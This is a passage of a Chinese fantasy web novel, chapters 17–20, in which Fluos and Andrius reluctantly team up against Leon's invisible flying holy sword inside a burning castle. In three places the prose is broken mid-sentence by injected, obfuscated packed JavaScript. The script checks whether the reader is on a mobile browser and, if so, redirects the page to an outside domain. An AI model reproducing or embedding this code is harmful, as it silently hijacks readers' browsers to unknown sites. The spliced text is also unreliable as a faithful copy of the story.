“嗬……嗬啊!”芙洛丝只好死命咬住嘴唇,咬住将溢出口的惨呼,来听里昂接下来的话。 她的肩膀被剑刺穿了,鲜血汩汩而流。 那柄剑没有受重力的影响跌落在地,反而去而复返,在她肩膀上留下了个大口子!如果不是因为某种本能的危机感,她向旁边歪了下头,现在留个大口子的,就是她的脖子。 这是里昂的能力。 里昂差点用这种能力杀了她。 “小芙洛丝,”里昂用被冻伤的喉咙轻轻地念了一遍这个名字,最后一遍,“我向你发起挑战。芙洛丝,我要用你的血,来为我的妹妹送行。” 这话一出来,芙洛丝的脸就惨然了。 碧被她所牵连,连灵魂也不能上天国,只能成为活死人,终日等待她的命令行事。 从某种程度上来说,她像强盗一样抢走了碧的人生。 他为给自己的妹妹复仇而来,这理由再正常不过。 “哈、嗬啊……嘶!”芙洛丝重重地咬了下嘴唇,直到尝到了淡淡的铁锈味,眼前发黑的状况才有所好转,却又从其中获得了一丝极尽扭曲的快感,“好、好……既然这样,那我也只能杀了你了!” 她踉跄着后退了一步,忽然看到那把剑又飞了出去。剑在飞,里昂的身体却没有半点动作,根本预测不到! 她在地上狼狈地打了个滚,因为肩膀受伤,她很难立刻起身,也就很难躲过剑的下一次攻击。 控制剑四处飞行,这就是里昂的能力吗? 视线中,那把剑又出现了! 这一剑绝对会刺中她的心脏,绝对会将她的心脏插进雪里。 难道就这么……? 芙洛丝一咬牙,用左手握住了强袭而来的剑锋。 “呃啊啊啊——” 痛、痛、难以言说的剧痛,她觉得自己的手被深渊的坚冰冻结了,又觉得自己的火被地狱的烈火焚烧着。 她尝试掰折剑锋,以【身份者】的力气来说,这并不难做到。可惜这把剑有古怪。她只能尽力将它掰向一旁,抓住机会爬了起来。 “为什么……”芙洛丝疼得直抽气,终究还是问出了那个最在意的问题: “为什么我之前从没发现,你也是【身份者】?” 17. 裁夺剑 雪山上原本有两道【身份者】的气息,现在,属于芙洛丝的那一道气息明显弱下来了。 安德留斯还在被三个侍女追得四处乱跑,鸡飞狗跳,察觉到此,却嗤笑一声。 “愚蠢的决策,四打一总好过一打一,既然能力是驱遣他人为自己战斗,还一个人逞英雄,这不是送死是什么?” 奥菲修斯小雪人扒拉着他的衣领,勉强探出个脑袋。 感应片刻,下定结论说:“她要死了。” …… 安德留斯当即掉转方向,朝来路奔了回去。 “主人,您这是在做什么?!” 安德留斯回:“赶回去嘲笑她。” 顿了片刻,他轻笑道:“就是因为太自负,相信自己什么对手都应付得了,才会屡屡在第一次交手中落下风,这女人就是这样。我要回去嘲笑她,希望她别死得太快。” 雪山的景象在身边飞速倒退。 原本逃离战场中心的人,居然要回去。 奥菲修斯无语了:“听起来,你好像很了解那位殿下似的……” 安德留斯忽而回头,深深地凝视了碧一眼。 “走吧,回去见你的殿下。” 天边,第一颗星亮了起来。 安德留斯循着那气息往回赶。他的耳力虽然因为分身而减弱,但依然远超普通人,还未见到对峙的两人,就听见了两人的对话。 “芙洛丝,”里昂的声音听起来无悲无喜,有一种诡异的心平气和,“你觉得,我们为什么会被选中,成为神的代言人?或者按照你的说法,【身份者】。” 芙洛丝的声音在颤抖,但也尽量保持了镇静,“想来是因为我们有某种资质。” “不。是因为我们有欲望,贪欲。” 剑又动了。那声音并不突出,尤其是在夜风四起的山巅。 如果芙洛丝没能听到这个动静,她的结局就是被一剑穿胸。 里昂接着叙说:“我们都向神明祈求过吧,要是能有掠夺一切财富的能力就好了,要是能保护身边的人就好了,要是能有裁定一切善恶的力量就好了——” 掠夺财富的能力,【盗贼】。 保护身边之人的能力,【公主】。 裁定一切善恶的力量,里昂。 里昂的身份又是什么呢? “——正是因为我们祈求了,神明才会回应,才会如赐福一样赐予我们能力。可是,我们根本不该向神明许愿。” 里昂的声音沉了下去,像宣判最后裁决的法官,“人类的欲望是无穷无尽的,实现了一个愿望,他们还会祈求更多的愿望。如此,神只好降下神罚。当他们使用能力达到了不该有的限度时,神明就会让其他的代言人去收回他的能力,连同性命一起。哦,或者按你的说法,【身份者】。这也是我近几年才悟到的。” 夜风中传来芙洛丝压抑到极致的痛呼,安德留斯听清了。这个蠢女人,竟然只顾着说话吗? 至于里昂的领悟?安德留斯哼了一声,不置可否。 不知道芙洛丝是如何理解那突如其来出现在脑海中的声音,如何理解像追杀令一样公布了她【身份】和出现地点的行为,但,里昂的看法已经很接近本质了。 她嘶声说:“所以,这就是你蛰伏到现在才向我复仇的原因?你为了神的意志而行动,所以你没有去杀安德留斯,而是选择杀我?里昂哥哥?” 听起来,她就要站不住了。 “是。”里昂说,声音逐渐拔高,“芙洛丝,你的愿望超出了人类欲望可以容忍的极限,你根本不该有这样的愿望!你的愿望一开始就是邪恶的,而你还在大肆使用从愿望中得到的邪恶的力量!所以你才会落到现在这个地步!” 他在审判芙洛丝。 真有趣! 安德留斯不免好奇了。在回忆的幻境中,他也尝试了攻心,攻芙洛丝的心,但效果是芙洛丝怒火大增,回到现实里把他狠揍了一顿。 老熟人的攻击,会更有效吗? 想到这一点,他便十分期待芙洛丝会作何反应。 她会哭吗?还是假装无动于衷? “那我和你不一样。” 砰的一声,芙洛丝似乎是摔倒了,然后,一阵窸窸窣窣,她大概是爬着站了起来。 她的声音像是从喉咙里挤出来的一样,然而每个字都铿锵有力,掷地有声: “我按我自己的意志行事,以前如此,以后也将如此,没有人能审判我,也没有人配指引我……如果我们注定自相残杀,我会杀光所有的【身份者】,也包括你;如果冥冥之中真的有神在操纵一切,操纵我,我就杀到你所说的那个神的身上!” 口渴。 安德留斯又感受到一阵难以言喻的燥热和口渴,裸露在寒夜中的每寸肌肤都感到快意,一股欲望就要冲破身体的桎梏。 脸颊上的肌肉在抽动,他克制不了要笑的冲动。 “喂,你听清了吗,她刚刚在说什么?我没听错吧?” 奥菲修斯无奈地叹了口气,“我的主人,她说,她的目标是要杀光所有的【身份者】。” 安德留斯声音哑了不少,“真是个好姑娘。她知道她在说什么吗,真不自量力。” ……也真棒。安德留斯喉结滚动,再次低低地笑出声来。 “执迷不悟。”里昂的回应只有简单的四个字。 这会儿,安德留斯看清了他说这话时高高在上的鄙夷与痛恨。 城堡的火光,微弱地照亮了前方。 平心而论,里昂是个很富有男性魅力的成熟男人,即使是被困在雪山差不多一天,那股内敛庄重又潇洒的气质依旧不减,能这么堂而皇之地站着和芙洛丝对峙,安德留斯心里都有点儿不愉快了。 芙洛丝呢? …… 她的样子实在是有点儿惨。 她站在雪地上,身上流下来的血把站的那一块地方染得通红。她按着左肩,佝偻地站着,浑身是血,血在夜色中是模糊的一片黑,看不清剑伤有多少、在何处。她头发也很乱。她看上去完全被打败了。 败了,但是还没有投降。 她的目光从凌乱的黑发中射出来,诉说着野火一样桀骜不驯、永不屈服的意志。 里昂的语气还是硬邦邦的,更不满,也更不快了,“够了,别顽抗了!芙洛丝,我只是要你的命,我并不想虐杀你。” 芙洛丝惨笑着,满不在乎:“那可由不得你。” 那把剑。 又动了! 安德留斯抬起头,看着那把剑的动向,奥菲修斯也是。 “就是这把剑么?”奥菲修斯小声道,“被一把飞剑搞成这副惨样?为什么不往树林里跑,站在这样空旷的地形上,不是对自己更不利么?” 安德留斯看了一眼地上蜿蜒而出的几个血脚印,这个方法,恐怕芙洛丝已经试过了。 芙洛丝并不是束手待毙的人,她直到现在还保持着斗志,安德留斯也知道,她是个很擅长观察的人,直到现在还被这把剑追着杀,那也许—— 思及此,他心念一动,近处一颗松树忽然枝干暴涨,挡在了那把剑的飞行路径上。 那把剑平滑无声地穿过了树枝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428051|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 是的,平滑无声。没有声音。树枝甚至没有断。 倒是芙洛丝,被忽然长出的树枝吸引了视线,望过去后,瞳孔骤缩。 “她看不见那把剑!”安德留斯很快反应过来。 对受到攻击的人来说,那把剑是无形无声的,只有在即将受到攻击时,那把剑才会显露本体。 果然,在那把剑即将刺中芙洛丝面门时,芙洛丝的瞳孔中才倒影出那把剑的形状! 千钧一发的时刻—— 然而,对芙洛丝而言,这已经是最幸运的一次了。她余光瞥到了绝对不正常的忽然长出来的树枝,又在西南方向瞥见了回到这里的安德留斯,通过他惊讶的视线,她确定了那把剑运动的轨迹。 最有惊无险的一次闪躲。 那把剑一击不中,又完全消失了。 芙洛丝只能听到它离开时发出的一点微微的风声,她知道,那把剑掉转了方向,在酝酿第二次进攻。 奥菲修斯喃喃:“这种能力倒是极适合暗杀,芙洛丝殿下怕是——” “嘘。”安德留斯道。 芙洛丝的声音立刻接在了他的嘘声之后:“里昂。” 她的身子弓得更低:“我会在那把剑飞过来之前,把你解决掉。” 话音刚落,她的身体像流星一样蹿了出去。难以想象,受了重伤之后她还能爆发出如此恐怖的速度。 安德留斯的视线只在她身上作了一瞬的停留,笑意却永恒般停驻在嘴角。他继续看着那把飞剑的运动轨迹,这次,它向正北方飞了出去。 这把剑似乎需要一定的飞行时间来加速,选在第二次攻击发动的瞬间进攻里昂,绝佳的选择。 “喂,还追我干什么呢?去给你们的主人挡剑呀。”安德留斯懒洋洋地偏过头。 那把剑总会飞过去的。 三位侍女已经赶到,可惜,她们完全无视了安德留斯的话语。对她们来说,芙洛丝殿下的命令至高无上 被侍女们缠上的安德留斯只好继续逃。 “她想和那位闯入者拼拳,真胆大。”始终关注战局的,也只有趴在安德留斯身上的小雪人奥菲修斯了,它小小的纽扣眼睛充满了讶异……和担忧。 究竟谁的力量更胜一筹? 芙洛丝的身体素质很优秀,力量放在所有的【身份者】里,也罕有人敌。 “但……这个拼法,她的手臂一定会废掉。” 安德留斯娴熟地躲避着三个侍女的联手攻击,语声带笑:“那,打个赌?” 安德留斯道:“我赌她输。” 芙洛丝怀着近乎舍命一博的信念。 这是她得到的最好的一次进攻机会,也是唯一一次。虽然这个机会是安德留斯给她带来的,安德留斯……算了,别想他。想想里昂。 如果不能彻底击败里昂,至少也要打得他失去再战的能力。 否则,以她现在的身体状况,再打下去,必输无疑。 不只是她,在场所有人都明白这个道理。 逃得慌不择路的安德留斯,也向这边投来视线。 来吧! 芙洛丝迎上里昂的目光,两个人的表情都勇毅坚定,没有一丝后退的迹象。 他们想的都是,那就来吧,就在这一刻做出了断! 砰—— 里昂提拳相抗。两个【身份者】的全力一击,创造出了类似爆炸一样的震天巨响。一刹那,天上落下的雪也被吸引着聚拢,溃不成军地迷失了原本的方向。 随后是什么东西碎裂的清脆的杂响。 ——结果怎么样呢? 18. 初合作 倒是安德留斯短促地叫了一声:“啊。” 他的脸颊被安妮的拳头擦伤了,好不容易修补得完美无瑕的肌肤出现了红痕,红痕渗出了血丝。 他使用了能力,因这短暂的停滞,被身形敏捷的安妮追上,打了一拳。 【仆从】们的力量与芙洛丝本体相差不大,安德留斯说不出的恼火,心里只有一个想法:送芙洛丝的【仆从】归西。 “主人,”奥菲修斯的声音将他拉回另一边的战局,“您,赌赢了啊。只不过,您是想保住她的手臂,还是想害死她呢?” 芙洛丝被打倒在地上,只看她如风中落叶般颤抖的背影,便知道她现在痛得有多厉害。 她的手臂生出了一层石榴红的厚厚冰晶,像铠甲一样包裹住了她,也同时阻碍了她力量的发挥。血从指尖滴答淌下,蔓延出一条线。 “嗬、嗬、嗬啊……”芙洛丝垂着两条沉重的手臂,表情狰狞如恶鬼,仰面长嘶,“安德留斯!” 她用满是血丝的双眼恶狠狠地瞪着安德留斯,冲侍女们下令:“杀了他,杀了安德留斯!给我不遗余力地杀了他!” 她就知道! 这个混蛋、王八蛋、总是阻碍她的狗杂种! 她简直不知道用什么话来骂他了,只要这个混蛋出现,自己就准会倒霉。 他为什么跑回来?老鼠的视力在黑暗中不好用吗,被人追就不知道方向开始一通乱跑了吗?可恶! 不过也怪自己,先前大意弄伤了肩膀,又划破了手,两条手臂一直麻痹着,没有及时发现安德留斯在自己的手臂上弄了这么多的雪花。 等意识到手臂使不上力气时,她已在与里昂的对拼中彻底落败,被打飞出去,摔倒在地。 她的手臂现在痛得要命! 得到芙洛丝杀无赦的命令后,侍女们的攻势明显凌厉了不止一倍,没有心思去管那边,芙洛丝知道,那柄剑又要朝自己飞来了。 这回是从什么角度飞来?左边,还是右边? 芙洛丝喉咙里发出一丝含糊的怒音,她的手臂重得抬不起来,尽管那些冰晶在破碎,但她的手臂还是抬不起来。 她好像被冻在地上了。 耳朵又听到安德留斯带有磁性的、爽朗的笑声,“那就全看她的运气了。” 该死的,如果是因此而死的话……她一定会化作厉鬼,回归人间,将安德留斯的头颅从脖子上活生生地拔出来! 现在怎么办? 要放弃吗? 她最不想做的事就是放弃。 绝不放弃。绝不放弃! 剑还没有来。不过根据前几次的经验来看,很快就要来了。就算想要断臂求生,就算自愿毁去两只手臂,她也没法做到。 可恶的、可恶的、可恶的安德留斯! 芙洛丝只有压低身子,垂下头颅。 在安德留斯看来,自己这样做肯定与磕头求对面放自己一马无异吧?芙洛丝恨恨地想着。 她将额头贴在大地上,仿佛承认了自己的落败。 后脖颈凉丝丝的,那种感觉又出现了,不用回头去看,芙洛丝也知道是那柄剑。随后看,熟悉的破空之声响起,印证了她的猜测。 “你输了。”里昂无情地宣布了结果。 里昂负手而立,转向安德留斯所在的方向,他正被芙洛丝的【仆从】追得上蹿下跳,他看起来很弱,一点都不值得在意。 不过,能和芙洛丝斗上一天的,绝非平常之辈。他深藏不露,一定有特别的原因。 要杀他吗? 他的【身份】和出现地点没有被神公开,他没有被神厌弃。 对他出手的话,怎么看都是违背了自己的人生信条。 然而,他会杀了他。 作为碧的血亲,作为一切善恶的裁决者,有些事情,他比芙洛丝看得清楚得多。 杀完芙洛丝就去杀安德留斯,他这么想着,以意念操纵圣剑回旋,却愣在了原地。 剑,回不来。 回头的瞬间,他看见了漫天密密麻麻的黑点,那些黑点缠着他的剑,即使被锋利的剑锋所斩落,依旧有无数新的黑点涌上来,填补它们的位置。 芙洛丝依靠这些黑点负隅顽抗,还活着! 甚至还挑衅意味十足地咧了下嘴角。 ——【公主】的第二能力,王国。 ——在转化【仆从】的时候,可以将方圆五百米的同类物种也转化为【仆从】,时限,1分钟。 震惊了好一会儿,里昂才意识到,那些小黑点是某种昆虫。它们个头极小,但是全部加起来,也是一股不容小觑的力量。 芙洛丝的双手也围了一圈小黑虫,它们正前仆后继、锲而不舍地啃噬着禁锢芙洛丝的冰雪。 这就是芙洛丝的能力? “你还真是执迷不悟。”里昂摇头,他的面容看起来很阴沉。 圣剑再度飞起,隐入夜色中。 片刻后安德留斯怒而大骂:“这是什么玩笑?你的剑不能扔准一点吗?” 那把剑不知道从什么地方冒出来,差点没把他的耳朵割掉,幸好他反应极快,抓着安妮便去挡剑,那剑似有灵智一般,知道对象变化,转了个弯又飞走了。 听着安德留斯气急败坏的声音,芙洛丝觉得好爽,人也精神了,身体也不痛了,忍不住“噗嗤”笑了,只是看到这畜生用安妮去挡剑后,心情又变坏。 安德留斯看着另外两个侍女空无一物的瞳孔,“你们都看不见那把剑,是不是?” 是因为她们都算在芙洛丝的“阵营”里吗? “看清楚,山脚来的蠢货,我可不是【公主】。”安德留斯骂骂咧咧地将侍女丢开,语气欠扁至极,“对我出手,你可就是背叛了你的神明了!” 这个人恶劣的性格能让所有人都恨得牙痒痒,沉默如里昂,也忍不住开了口。 一团雪球向他的嘴飞来。 ——这当然也是安德留斯干的。控制冰雪,是安德留斯的能力。 里昂抬起手臂将雪球击落,恰听安德留斯在此时道:“我和你可不认识,也没什么话要说。” 就好像他知道里昂会说出什么话一样。 芙洛丝的双手终于松动了,感受着几乎没有知觉的手指,怒目大吼: “去,给我杀了安德留斯,把他咬成肉酱!” 嗡嗡嗡嗡——一团团的小虫子气势十足朝安德留斯飞去,飞出了战斗机编队的架势。 “没想到你还能将虫子也转化成【仆从】。” 里昂淡淡地道,语气就像在话家常:“什么时候转化的?在你双手触到大地的时候吗?芙洛丝,都走到这一步了,你还要使用能力吗?当真是执迷不悟。” “执迷不悟的人是你,”芙洛丝目光灼灼,扭头瞪着他,“我会杀光所有的【身份者】,其中也包括你。” “芙洛丝,你……”里昂的话语被打断。 安德留斯又在鬼叫了。 芙洛丝看过去的时候,只见那把剑追着他飞,不管他怎么用侍女来挡剑,那把剑仍然能找到刁钻的角度刺向他。 看不见剑的人变成他了。虽然时机不合适,但芙洛丝真想放声大笑。哈哈,活该! “接受你的审判,安德留斯,不要作无谓的挣扎!如果再用其他人来挡剑,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428052|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在你身上留一百个血窟窿。”里昂道。 砰——砰——噼里啪啦—— 安德留斯召唤出来的冰雪镜子被打得粉碎,他身上也落满了细碎的冰。 “她们可不是其他人,”安德留斯从齿缝里挤出声音,笑意盎然,“她们是芙洛丝送给我的情妇,亲爱的芙洛丝,对吧?” 芙洛丝勃然大怒,“放你的屁。” 很快,芙洛丝就后悔了。因为她看了安德留斯一眼,安德留斯从她偏头的动作中看出了剑的来向,然后躲过了下一击。 这个家伙真会抓时机。 芙洛丝连忙转头,不再去看安德留斯。 安德留斯还在叫:“我们联手吧,亲爱的,不然我们都会被扎成筛子的。左边。” 被挂在他衣领上的小雪人几乎抓不住他,因为他逃窜的速度太快了,雪人都飘了起来。它有气无力,吐出一串叽里咕噜的哀嚎:“主人,您……这又是……何苦哇……” 左边? 芙洛丝皱眉。 这时,她感到左边的脸颊一阵寒意,像是死神来了,在她脸上烙下轻轻的一吻。 不好! 她慌乱躲过,余光中,果然,那柄装饰华美的宽剑擦过了她的眼睫。 “芙洛丝,看来我们只有联手了。” “你去死吧!”芙洛丝又能看到那柄剑了,这意味着,这次剑的攻击对象是安德留斯。 就借里昂·艾德里安的手杀死他也不错。 可惜,人下意识的反应骗不了人。 安德留斯从她仓促闪避的视线中又猜出了剑的攻击方向。他真是个抓机会的天才,芙洛丝都有点嫉妒他的运气了。 “芙洛丝,联手吧。要么,一起活;要么,一起死。”安德留斯不依不饶! “你一个人去死吧!” 里昂的攻击对象又变成她了。 【仆从】是跟她一体的,她看不见的东西,【仆从】们也看不到,而里昂不动如山,此时此刻,她只能从安德留斯的眼睛里得到信息。 就算她再怎么痛恨安德留斯,她的目光也离不开安德留斯了。 “可恶……” “快点,快点和我联手!” “吵死了,别打扰我的思考!” “你要是能想到办法,早想到了,快点,站到我的对面来!” 两个人被一把剑杀得躲闪不迭,只能从对方的视线里得到讯息,最终,还是面对面地站在了一起。芙洛丝按着受伤的肩膀,气得牙痒痒。安德留斯笑着。 局面发生了变化。 里昂似乎一点都不意外,还问:“你们要合作了么?” “他好像一点都不担心自己的处境。” “因为你很弱。”这个人老是说话干什么,气得芙洛丝大脑都出现了片刻的空白,“因为你太弱了,咱们加在一起,战力也没有什么实质性的变化!你明白了吗?好了,现在闭嘴,我要想办法了,如果想不到办法,我就真的要死了!被你害死的!” “哇哦。”安德留斯挑挑眉,又看向四周,寻找起那把剑来,安静了不超过一秒钟,又道,“你的虫子呢?怎么不叫出来挡一挡?” “时限过了,没有了!我都说了,安静!”芙洛丝没好气地道,双眼也在四周搜寻,“你没有脑子,就让我想想……” “我有一个主意。” “我想到了。” 两人同时开口,说完,都愣了,看向对方。 他们极有默契地顿了片刻。 “你想的……不会也是那里吧?”两个人异口同声。 竟然说出了一模一样的话语。 19. 赴火场 这个家伙能有什么主意?芙洛丝正怀疑,只听安德留斯道:“我们去死吧!” 芙洛丝差点没被他气冒烟,“那太好了,你去吧。去跳吧,跳火坑。” “什么?”安德留斯忍俊不禁,“原来我们想的一样。” 他望向不远处正在熊熊燃烧的安德留斯城堡。 芙洛丝又瞪了他一样,随即也望向那边。 他们这次还真想到一块去了。 当务之急是离开这块空旷的地形,这并不是为了避开那把剑,而是避过里昂的耳目。芙洛丝先前跑进树林的时候依然被那把剑追,因为她发出的脚步声太大了。 如果能有一个既能掩盖他们身形、又能掩盖他们逃跑时发出的动静的掩体就好了。 ——着火的城堡。 这不是最佳的选择吗? “亲爱的,你看看你,血都快流干了。”安德留斯的大手搭上芙洛丝的肩头,冰雪便附上了伤口,“我帮你止血,但是你得帮我挡剑,我的身体没有你的那么强悍,我要是被刺中,肯定一下就死了。” “吵死了!”芙洛丝闭了下眼睛,又睁开,“赶紧用你那下雪的能力将我们保护住,要是没被里昂的剑刺死,反而死在了火海中,我就揍死你!” 顷刻之间,一团柔和的冰雪将两人包裹住,芙洛丝捂住口鼻,冲进了城堡之中。 “亲爱的,要是哪里被烧伤了,记得哭出来,让我知道啊——”安德留斯紧随其后,也义无反顾地跟着冲了进去。 “完蛋了,完蛋了,我要完蛋了……”只有雪人形态的奥菲修斯在绝望地抱住自己的脑袋,发出悲鸣。 他们的身影一下就消失在大火之中。 剑也跟了过去,里昂抬起脚步,但被拦下了。 三个侍女挡在了路中央,掩护他们离开。 “很抱歉,哥哥,”居中的碧面无表情,“我不能让你追过去。” 火中。 安德留斯家族的城堡四处都是火,里面浓烟滚滚,根本看不清路,芙洛丝与安德留斯不得不紧靠着,才不至于走散。包裹他们身体的雪一进来便化了,安德留斯一直在补充新的冰雪作为防火外壳。 走动的时候,还不时有楼上的燃烧物砸下来。 刚走没几步,芙洛丝便觉察到这小子贼心不死,飞起一脚踢中安德留斯鬼鬼祟祟的右手,叮里咣啷,一把小刀脱手飞到了地上。 她用伤势没那么严重的那只手扼住了安德留斯的喉咙,“再动坏心思,我就弄死你。这话我只说一遍。” “好嘛,好嘛,亲爱的,我只是想把你的小刀还给你,”安德留斯要被掐死了,还装得很无辜,“仅此而已。你的力气真大。” “你那种变换空间的能力,为什么不用?” 安德留斯揉揉自己的脖子,“因为我打算留着这种能力,拿来对付你。” 芙洛丝冷哼一声,明白了,他这是没有完全从受伤的状态中恢复过来,暂时使用不了这种能力。 他们往里面走,贴得更近了,这个距离下,只要安德留斯有一点异常的行为,芙洛丝就能腾出手来要他的命。安德留斯明白,芙洛丝再动手的时候,绝对不会再留情。 那把剑茫然地在低空飞来飞去。 如两人预料的一样,里昂判断不出他们的具体位置,那把剑也就失去了威胁。 芙洛丝斜眼看了一下肩膀上的伤口。说来奇怪,被安德留斯的冰雪覆盖之后,她不仅不再流血了,浑身的疼痛也减轻了,就好像……这些冰雪在治疗她一样。 …… 可能有那么好的事吗? 芙洛丝瞪着安德留斯,忽然看见他衣领上一片濡湿的水渍,还挂着一粒纽扣。 “喂,你感觉不到吗?蠢货,”她指了一下,“赶紧补充新的冰块啊,你也不想看到你的衣领烧起来吧?” “哦,”安德留斯看了一眼,将那粒纽扣收入口袋中,轻声说了一句,“我又变成一个人了。” 什么一个人?芙洛丝以敏锐的洞察力感知到,他这话有深意。 “我是说,这不是有你帮我看着吗,”安德留斯笑容灿烂,“我不是一个人了。” 什么跟什么。芙洛丝懒得管他在想什么。 还是想想接下来该怎么办。 “当然是用你的【仆从】去把他杀了啊,我们不可能一直躲在这里。我知道你是好人,你高贵,你有善心,你不忍心让妹妹杀哥哥,但是你还有另外两个【仆从】,她们总是可以用的吧。”安德留斯理所当然地道。 “闭嘴。”芙洛丝注视着再度显露本体飞来的剑,问,“你上过学吗?” 这下话题就跳得太远了,可神奇的是,安德留斯一下明白了她要说什么,眼神里划过一丝赞赏,却装傻道:“哦。哦?” “你没接受过教育?”芙洛丝面露不耐。 沉默了一下,在安德留斯求知若渴的视线中,芙洛丝还是讲了起来。 “那你总该了解过自己家族的历史吧?安德留斯一族之所以被称为王室的守护者,是因为其祖先曾经击毙了藏于雪山的恶魔,那恶魔之所以会躲到山上,是因为被大勇者刺伤了。刺伤恶魔的那把剑,作为圣剑代代相传,而那勇者的姓氏,正是艾德里安。” 反应过来了?安德留斯点点头,“哦,你是说,里昂·艾德里安用的这把剑,是传说中的圣剑。” “这么显而易见的结论,为什么你还要复述一遍来浪费我的时间!你这个蠢……算了,”芙洛丝扶着额头,“我要按照传说中的方法试一试,我要摧毁这把剑。” 传说中这把圣剑刺伤恶魔后便成了碎片,这剑伤敌也伤己,有人说,这是恶魔受伤后对剑施下的诅咒,杀死敌人之后,自己也会解体。只是在漫长的时间长河里,恶魔的诅咒失效了,这把剑才从一堆残骸中再度恢复为原来的样子。 “能摧毁这把剑当然是最好的,”安德留斯知道她在想什么,故意说,“不过,也许那只是个传说。” “我刚刚试了,用流血的手掌,能握住那把剑。血明显让它的攻势减弱了。” “唔,”安德留斯眼睛这才亮了一下,“太好啦,那我们用谁的血呢,亲爱的?” 芙洛丝没有说话。 在传说中,这把剑象征着勇气、正义、必胜的信念,只要认定了讨伐的目标,就一定会遵循主人的意志,将对手摧毁。 血能让剑的速度慢下来,但想要剑真正停下,恐怕得以一条生命为代价。 她看向安德留斯。 安德留斯慌忙抱住自己,“别看我,我很脆弱。再说了,如果我因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428053|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为流血过多而昏迷,你也就完蛋了。” “我怎么会完蛋?”芙洛丝不爽地道,“只要你能为我牵制出半分钟的时间,我就有机会处理掉里昂,还有,什么‘我很脆弱’,这是你该说的话吗?拿出点男人来的样子。你真是又自私又娇气又没用。” “你真是又自负又莽撞又不近人情。”安德留斯顺嘴回敬着,旋即又解释,“如果我受了伤,那把剑却没有停下,就没有人告诉你那把剑的位置了,你也就因此而玩完了。所以,别想着把我变成你的【仆从】让我去送死,不是为我,而是为你自己,你总该给自己留条后路。” “谁说要你去送死了?”芙洛丝眉毛皱得能夹死苍蝇,“这不是还有第三个人吗?” 第三个人? 这座燃烧的古堡里,只有他和芙洛丝两人。 其余的,不要说是人,就算有任何活物,也早被烧死了。 就算没被烧死,也可能被那把剑杀死了。 现在,那把剑开始贴着墙壁移动。里昂在外面,无法确认芙洛丝和安德留斯的位置,便让剑由外至内地地毯式搜寻。 刚刚两人说话的时候,那把剑离墙壁还有十米远,现在,足有二十米远了。剑的移动速度很快,里昂算准了两人无法在火灾现场自如移动,只能慢吞吞地小步行进。 如果再想不出办法来,两个人很快就要被这把剑找到。 到时候一样是死。 福至心灵,安德留斯忽然明白了芙洛丝说的第三个人是谁。 “你可真是异想天开。不过,怎么做?我们都不能控制火往哪边烧。” 芙洛丝睨了他一眼,有些诧异,这家伙,竟然能跟上我的思路?不错,唯一的优点终于被她用放大镜找出来了。 “你觉得我的想法怎么样?” “亲爱的,”安德留斯叹了口气,拖着长长的调子道,“别浪费我的时间,现在我们除了试一试,还有什么能做的吗?该怎么做,你需要什么帮助?” 真讨厌他学自己说话。 “我要那个。”芙洛丝没有客气,立刻指了指二楼的柱子。 那是走廊里连通天花板和地板的柱子,看上去似乎是大理石的材质,在火中尚且屹立不倒。 “好的,乐意为您效劳。”安德留斯点了点头,目光在四周逡巡,“让我想想,能有什么用得上的……” 在城堡外的里昂忽然听到震天的一声巨响。 不知道安德留斯和芙洛丝在火场里做了什么,亦或者是城堡里发生了什么爆炸,结果就是,原来还矗立着的高大古堡整个儿地倒了下来,从二楼往上,全都倒了。 巨人断足,颇为壮观。 “殿下她会不会……”侍女们紧张得声音都变了。 “希望他们没有上楼。” 一般而言,火烧成这样,正常人肯定不会上楼的,但芙洛丝和安德留斯不正常。安妮适时补充了一句:“火,是从一楼烧起来的,也许,他们为了避火,上到了更高楼层……” 轰——火场里又传出一声震耳的爆炸声。 稀里哗啦的,高大的城堡摔成了碎块。如果芙洛丝和安德留斯上了楼,现在一定摔得粉身碎骨。 里昂沉思着。 他感觉得到,有一道【身份者】的气息,更弱了。 20. 落星尘 “咳……咳咳!”安德留斯抱着芙洛丝连连后退,又是一声巨响,一个尖塔模样的建筑部分掉了下来。他急忙收回绳子,作为猎人的后代,他身上时时刻刻都带着些工具,现在,那条绳子上凝结了三指厚的冰雪,另一端冻在石柱子上。 “我的祖宅算是完蛋了,公主殿下,这都是为了完成你的计策,事成之后,费尔奇尔德王族必须给我补偿。” 在一片火海中,他们能去的地方本来就不多,芙洛丝忙着眼观六路,只随意地回了他一句:“哦,等你活下来再说吧。” 她回忆着安德鲁斯城堡的楼层和构造,在心里算着还要拆多少块木板、多少根承重柱和多少堵承重墙,又是一指: “喂,把那个给我打下来!” 安德留斯叹了口气,认命了,再次挥出绳子。 轰—— 